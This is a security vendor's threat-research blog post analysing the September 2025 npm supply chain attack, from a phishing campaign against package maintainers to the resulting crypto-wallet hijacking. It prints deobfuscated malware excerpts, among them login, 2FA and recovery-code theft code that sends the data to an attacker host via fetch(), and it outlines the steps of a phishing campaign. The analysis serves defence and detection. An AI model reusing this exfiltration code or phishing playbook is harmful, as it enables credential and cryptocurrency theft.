In early September 2025, one of the largest supply chain attacks in cybersecurity history resulted in as many as 20 popular npm packages being compromised, with a combined 2.67 billion weekly downloads.
The supply chain attack originated from a sophisticated phishing campaign targeting npm maintainer Josh Junon (qix) and other developers. The campaign resulted in a malicious code injection designed to hijack cryptocurrency wallet transactions across multiple blockchain networks.
What makes this NPM-targeted phishing campaign stand out is not just the scale of its impact, but the deliberate effort by attackers to leave behind no conventional red flags. In Varonis’ simulation of the attack, we saw how the campaign combined clean infrastructure with AI-assisted content generation to evade traditional email defenses.
Continue reading for more details of how the attack works, what makes it dangerous, and how you can catch phishing emails like this in your organization.

Why this phishing attack is especially dangerous
The combination of clean email infrastructure and AI-assisted content generation are two key elements that allowed the threat actor to evade traditional email defenses.
Let’s take a deeper look.
Clean email infrastructure
The phishing email wasn’t sent from a shady, misconfigured relay. Instead, it came through a domain (npmjs[.]help) set up with precision:
- SPF, DKIM, and DMARC all passed
- Authentication results looked legitimate at a glance:
- Authentication-Results: aspmx1.migadu.com;
- dkim=pass header.d=smtp.mailtrap.live header.s=rwmt1 header.b=Wrv0sR0r;
- dkim=pass header.d=npmjs.help header.s=rwmt1 header.b=opuoQW+P;
- spf=pass smtp.mailfrom=ndr-cbbfcb00-8c4d-11f0-0040-f184d6629049@mt86.npmjs.help;
- dmarc=pass (policy=none) header.from=npmjs.help
- The sending IP address wasn’t listed in any major spam blocklist (MXToolbox check)
In other words, from an infrastructure perspective, the email appeared “clean” and trustworthy.
AI-assisted phishing content
Where older phishing campaigns often gave themselves away through sloppy English, this one leaned on AI-generated text with an estimated 70–80% likelihood of AI assistance.
Key markers we observed:
- Polished, formal tone: Grammatically clean, no typos, no awkward phrasing.
- Generic corporate language: Phrases like “ongoing commitment to account security” or “at your earliest convenience”— textbook examples of templated AI phrasing.
- No personalization: The email avoided names, account details, or unique identifiers, keeping the content generic and reusable.
This made the email both professional-looking and harder to spot by humans and rule-based filters.
The result of these techniques? Over 2.6 billion downloads of the malicious packages in the week of September 1, 2025.
Figure 1: Malicious package downloads. 2.67 billion the week of September 1, 2025.

Figure 1: Malicious package downloads. 2.67 billion the week of September 1, 2025.
To truly put it in perspective, these packages were downloaded more than 130.765 billion times across all versions. The additional malicious code implements a multi-chain cryptocurrency interceptor targeting six major blockchain networks:
- Ethereum (ETH)
- Bitcoin (BTC)
- Solana (SOL)
- Tron (TRX)
- Litecoin (LTC)
- Bitcoin Cash (BCH)
It also has the regex for identifying each blockchain:
//
const 0x3ec3bb = {
'ethereum': /\b0x[a-fA-F0-9]{40}\b/g,
'bitcoinLegacy': /\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\b/g,
'bitcoinSegwit': /\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,34}\b|bc1[pqrz][a-zA-HJ-NP-Z0-9]{11,71}\b/g,
'tron': /(?:T)[1-9A-HJ-NP-Za-km-z]{33}/g,
'bch': /bitcoincash:[pq][a-zA-Z0-9]{41}/g,
'ltc': /\b(L|M)[a-km-zA-HJ-NP-Z1-9]{25,34}\b/g,
'ltc2': /(?!\bltc\b)ltc[a-km-zA-HJ-NP-Z1-9]{11,71}\b/g,
'solana': /(?:[13])[a-km-zA-HJ-NP-Z1-9]{32,44}/g,
'solana2': /(?:[13])[a-km-zA-HJ-NP-Za-km-np-tv-yz2][35,44]/g,
'solana3': /(?:[13])[1-9A-HJ-NP-Za-km-np-tv-yz2][35,44]/g
};
The malicious code contains extensive hardcoded address lists for each cryptocurrency, with a total of 280 crypto wallets distributed equally.
The main function responsible for the core wallet hijacking component that implements a "stealth proxy" to intercept Web3 wallet transactions.
At the time of our publication, the main Ethereum wallet has $434.75 USD,
0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976. The additional $70 appears in several other related wallets, with the attacker successfully stealing $504. We expect the total amount to grow into the low thousands.
Crypto Malware Stealer
The malicious package versions contain obfuscated JavaScript that silently injects a browser-side interceptor into frontend bundles. Upon page load, the code activates within the user's browser and wraps critical web APIs, including:
- fetch()
- XMLHttpRequest
- window.ethereum.request() (Ethereum wallet interface)
Solana wallet methods like solana_signTransaction and solana_signAndSendTransaction
This strategic hooking places the malware between the application and both the network and the wallet, enabling complete visibility and control over outbound requests and signed transactions.
Once active, the malware performs real-time inspection of API responses and transaction payloads, scanning for blockchain addresses across multiple cryptocurrencies.
If a money-moving action is detected — such as a transfer or token approval — the malware silently rewrites the recipient, spender, or approval target to attacker-controlled addresses. To maintain stealth, it uses lookalike substitutions based on the Levenshtein distance algorithm, ensuring the altered address visually resembles the original.
It also detects interactions with decentralized exchanges such as Uniswap, PancakeSwap, and SushiSwap, and stealthily modifies the transaction payload to redirect swapped funds to attacker-controlled addresses.
//
const _0x432d38 = {
'0x7a250d5630b4cf539739df2c5dacb4c659f2488d': "Uniswap V2",
'0x66a9893cC07D91D95644AEDD05D03f95e1d8A8Af': "Uniswap V2",
'0xe592427a0aece92de3edee1f18e0157c05861564': "Uniswap V3",
'0x10ed43c718714eb63d5aa57b78b54704e256024e': "PancakeSwap V2",
'0x1f4ea83dbd04de75c8222255bc855a974568dd4': "PancakeSwap V3",
'0x11111112542eb25477b68fb85ed929f73a960582': "1inch",
'0xd9e1ce17f2641f24ae83637ab66a2cca9c378b9f': "SushiSwap"
};
It even manipulates ERC-20 token approvals by maximizing the allowance (e.g., using f.repeat(64)), allowing the attacker to drain tokens later without further user interaction. Because these changes occur before the user signs the transaction, victims may unknowingly approve or send funds to the attacker while the interface appears completely normal.
How phishing campaigns become successful
Preparation is the key for a successful phishing campaign. For example, the steps include:
- Collecting a list of targets – NPM Package developers, whose emails are publicly available.
- Buy a domain – npmjs[.]help in our case, 3 days before launching the campaign.
- Set up a mail server – support@npmjs[.]help – in our case.
- Copy the original target site.
- Prepare a legitimate-looking phishing email, preferably with LLM and legit links.
- Wait for the bite on the (f)ishing pole.
Let’s break that down further:
Npmjs[.]help is a copy of the original nmpjs.com and can still be found in wayback machine:

The domain npmjs.help was registered on September 5, 2025, through the registrar Porkbun, LLC. It is still in an addPeriod (initial registration phase) and has multiple restrictive statuses like clientHold, clientTransferProhibited, and clientDeleteProhibited, which usually means it’s either inactive, under review, or restricted from being transferred or deleted. If not renewed, the domain will expire on September 5, 2026.

The phishing mail:

As mentioned by Josh Junon, a well-known developer of NPM packages, also noted how legitimate phishing looked.

It is worth mentioning that the "contact us" link in the mail actually links to the legitimate npmjs.com contact us page, making it appear even more legit.
Credential theft
The main deobfuscated JavaScript that is responsible for the credential theft, sending them to websocket-api2[.]publicvm.com:
The fake NPM page captures the username and password.
// When on login page, intercepts login button click
if (st.includes("login")) {
// Captures username and password from form fields
var username = document.querySelector("#login_username").value
var password = document.querySelector("#login_password").value
// Stores credentials in localStorage AND sends to attacker server
localStorage.setItem("user", username)
localStorage.setItem("pass", password)
geturl(credentials) // Exfi
Next, intercept the 2FA.
//
function tfarun() {
// Waits for 2FA input field to appear
// Hides UI elements to avoid detection
// Captures 2FA secret/token
var twoFactorCode = document.querySelector("#undefined_2fa-secret").value
// Sends username + password + 2FA token to attacker
geturl({user: stored_user, pass: stored_pass, g2fa: twoFactorCode})
}
Steal the recovery codes:
// Creates hidden iframe to load recovery codes page
let iframe = document.createElement("iframe")
iframe.src = "https://www.npmjs.help/settings/" + username + "/recovery-codes"
iframe.style.display = "none" // Hidden from user
document.body.appendChild(iframe)
// Extracts recovery codes text and sends to attacker
var recoveryText = document.querySelector("[specific recovery codes selector]").outerText
// Sends: {recodes: recoveryText}
Finally, send the data to the attacker's server-side function.
//
async function geturl(params) {
// Sends stolen data to attacker-controlled server
await fetch("https://websocket-api2.publicvm.com/images/jpg-to-png.php?" + params)
}
The full ‘params’ format includes username, password, and 2fa token:
?user=username&pass=password&g2fa=2FA
In case of recovery codes, it would be:
?recodes=code1%20code2%20code3...
The answer is simple: fight AI with AI.
Traditional indicators — failed SPF, misspellings, blacklisted IPs — are no longer enough. Instead, detection must pivot to contextual, linguistic, and visual analysis.
In our lab, we detected this phishing attempt with extremely high success rates thanks to a multi-layered AI-driven approach:
Context analysis via relationship graphs
- Unknown sender.
- Domain (npmjs.help) had no prior communication history.
- No prior IT related discussion between the sender and receiver
Natural language analysis
- Classified as a 2FA reset request (the Intent)
- Stylistic markers matched patterns common in AI-generated phishing emails.
Phishing site analysis
- The site was a pixel-perfect replica of the legitimate NPM login page.
- In our Phishing Sandbox, AI visually and linguistically compared it with the real npmjs.com.
- Since the certificate and URL didn’t match, it was flagged as phishing even though visually it was indistinguishable.
Bottom line: The NPM hijacking campaign proved that attackers are now capable of building phishing operations that look flawless on the surface. But by applying AI-driven context, language, and site analysis, we can still reliably detect and stop them.
Recommendations and conclusion
Currently, all known infected packages have been rolled back or updated. Varonis Threat Labs recommends you ensure your org has the latest clean version from the list below:
supports-hyperlinks
4.1.1
supports-color
Yes
6.2.3
As of our publication, no other well-known developers have reported being targeted or compromised. However, we don't need to imagine how dangerous just “one” phishing email can be.
For example, Mrasup, coliff, shakee93, and ebrandel are packages with thousands of weekly downloads. The vue-toasted package by ebrandel recieves 42K weekly downloads alone.
This story serves as a stark reminder that it is not the first nor the last time we will see more legitimate phishing campaigns from today’s threats. A few months ago, another domain with similar phishing caused a hijack of an NPM package and affected “just” 7 packages — including eslint packages with ~62M weekly downloads to drop additional malware.
To continue learning about the evolving threat landscape, read more Varonis Threat Labs content. If you believe your organization has been affected by phishing and are not a Varonis customer, please contact our team for assistance.
What should I do now?
Below are three ways you can continue your journey to reduce data risk at your company:
Schedule a demo with us to see Varonis in action. We'll personalize the session to your org's data security needs and answer any questions.
See a sample of our Data Risk Assessment and learn the risks that could be lingering in your environment. Varonis' DRA is completely free and offers a clear path to automated remediation.
Follow us on LinkedIn, YouTube, and X (Twitter) for bite-sized insights on all things data security, including DSPM, threat detection, AI security, and more.
